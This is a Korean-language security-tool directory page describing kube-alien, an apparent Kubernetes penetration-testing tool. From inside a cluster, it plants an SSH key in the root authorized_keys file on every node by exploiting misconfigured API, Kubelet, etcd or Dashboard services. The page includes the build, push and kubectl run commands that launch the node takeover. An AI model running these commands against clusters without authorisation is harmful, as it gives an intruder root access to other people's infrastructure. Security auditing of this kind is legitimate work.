Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
kube-alien — API, Kubelet, etcd, Dashboard의 잘못된 구성을 악용하여 Pod 내에서 SSH 키 주입을 통해 노드 장악을 달성하는 자동화된 Kubernetes 클러스터 침투 테스트 도구입니다. | Kitploit
도구/GitHubGitHub/nixwizard/kube-alien
Container SecurityExploitationPenetration TestingCloud SecurityMisconfiguration
GitHubnixwizard/kube-alien

kube-alien

API, Kubelet, etcd, Dashboard의 잘못된 구성을 악용하여 Pod 내에서 SSH 키 주입을 통해 노드 장악을 달성하는 자동화된 Kubernetes 클러스터 침투 테스트 도구입니다.

저장소 보기
25225년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Kube-alien

이 도구는 k8s 클러스터 내부에서 공격을 시작합니다. 즉, 실행하려면 클러스터 내에 파드를 배포할 수 있는 권한이 있는 접근 권한이 이미 있어야 합니다. kube-alien 파드를 실행한 후, 이 이미지 https://github.com/nixwizard/dockercloud-authorizedkeys (docker/dockercloud-authorizedkeys에서 포크되었으며 config.py의 ADD_AUTHKEYS_IMAGE 매개변수로 조정 가능)를 사용하여 노드의 /root/.ssh/authorized_keys 파일에 공개 키를 추가함으로써 클러스터의 노드를 장악하려고 시도합니다. 공격은 클러스터 구성 요소 중 하나에 잘못된 구성이 있을 경우 성공하며, 다음 벡터를 따라 진행됩니다:

  • Kubernetes API
  • Kubelet service
  • Etcd service
  • Kubernetes-Dashboard

이 도구의 목적은 무엇인가요?

  • k8s 클러스터의 보안 감사를 수행할 때 보안 상태를 신속하게 평가할 수 있습니다.
  • 언급된 공격 벡터 악용에 대한 실제 시연.

실제 환경에서 k8s 클러스터를 내부에서 어떻게 공격할 수 있나요?

  • 클러스터의 파드 중 하나에서 실행 중인 앱의 RCE 또는 SSRF 취약점을 통해.

Usage

Kube-alien 이미지는 이 도구를 사용하기 전에 귀하의 dockerhub(또는 다른 레지스트리)에 푸시되어야 합니다.

root@kitploit:~
git clone https://github.com/nixwizard/kube-alien.git
cd kube-alien
docker build -t ka ./
docker tag ka YOUR_DOCKERHUB_ACCOUNT/kube-alien
docker push YOUR_DOCKERHUB_ACCOUNT/kube-alien

AUTHORIZED_KEYS 환경 변수는 SSH 공개 키 값으로 설정되어야 하며, 성공 시 공개 키가 모든 노드의 root 계정 authorized_keys 파일에 추가됩니다.

root@kitploit:~
kubectl run --image=YOUR_DOCKERHUB_ACCOUNT/kube-alien kube-alien --env="AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)" --restart Never

또는 빠른 테스트를 위해 제 이미지를 사용할 수 있습니다:

root@kitploit:~
kubectl run --image=nixwizard/kube-alien kube-alien --env="AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)" --restart Never

공격이 성공했는지 확인하려면 Kube-alien 파드의 로그를 확인하세요:

root@kitploit:~
kubectl logs $(kubectl get pods| grep alien|cut -f1 -d' ')

이 도구를 만드는 데 많은 도움이 된 자료들

  • https://www.youtube.com/watch?v=vTgQLzeBfRU
  • https://www.youtube.com/watch?v=dxKpCO2dAy8 (및 https://raesene.github.io 의 다른 훌륭한 쿠버네티스 공격 표면 관련 게시물)
  • https://medium.com/handy-tech/analysis-of-a-kubernetes-hack-backdooring-through-kubelet-823be5c3d67c
도구 다운로드